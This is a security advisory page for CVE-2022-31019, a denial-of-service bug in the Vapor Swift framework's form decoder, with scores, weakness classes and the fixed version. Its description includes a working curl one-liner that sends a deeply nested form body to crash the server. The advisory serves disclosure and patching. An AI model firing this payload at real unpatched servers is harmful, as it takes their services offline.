Security mailing lists by PureSourceCode

CVE-2022-31019

HIGH 7.5CVSS 3.1

Vapor vulnerable to denial of service in URLEncodedFormDecoder

Vapor is a server-side Swift HTTP web framework. When using automatic content decoding an attacker can craft a request body that can make the server crash with the following request: curl -d "array[_0][0][array][_0][0][array]$(for f in $(seq 1100); do echo -n '[_0][0][array]'; done)[string][_0]=hello%20world" http://localhost:8080/foo. The issue is unbounded, attacker controlled stack growth which will at some point lead to a stack overflow and a process crash. This issue has been fixed in version 4.61.1.

Published
9 Jun 2022
Last modified
17 Jun 2026
Assigned by
security-advisories@github.com
NVD status
Modified
Weakness
CWE-120CWE-121CWE-674
Also known as
GHSA-qvxg-wjxc-r4gg
Sources
NVDJSONOSV GHSA-qvxg-wjxc-r4ggJSON

Scores

SourceScored byVersionScoreVector / decision
NVD security-advisories@github.com (Secondary) CVSS 3.1 HIGH 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD nvd@nist.gov (Primary) CVSS 3.1 HIGH 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
OSV GitHub CVSS 3.1 HIGH 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NVD nvd@nist.gov (Primary) CVSS 2.0 MEDIUM 5.0 AV:N/AC:L/Au:N/C:N/I:N/A:P

Affected

SourceVendor / ecosystemProduct / packageAffected versionsFixed in
NVD vapor vapor
cpe:2.3:a:vapor:vapor:*:*:*:*:*:*:*:*
< 4.61.1 4.61.1
OSV SwiftURL github.com/vapor/vapor < 4.61.1 4.61.1

References

History

  • 25 Nov 2026 20:34 UTC · NVD: first stored (published 9 Jun 2022)
  • 25 Nov 2026 20:15 UTC · OSV: first stored (published 7 Jun 2023)
An unhandled error has occurred. Reload ×

Rejoining the server...

Rejoin failed... trying again in seconds.

Failed to rejoin.
Please retry or reload the page.

The session has been paused by the server.

Failed to resume the session.
Please retry or reload the page.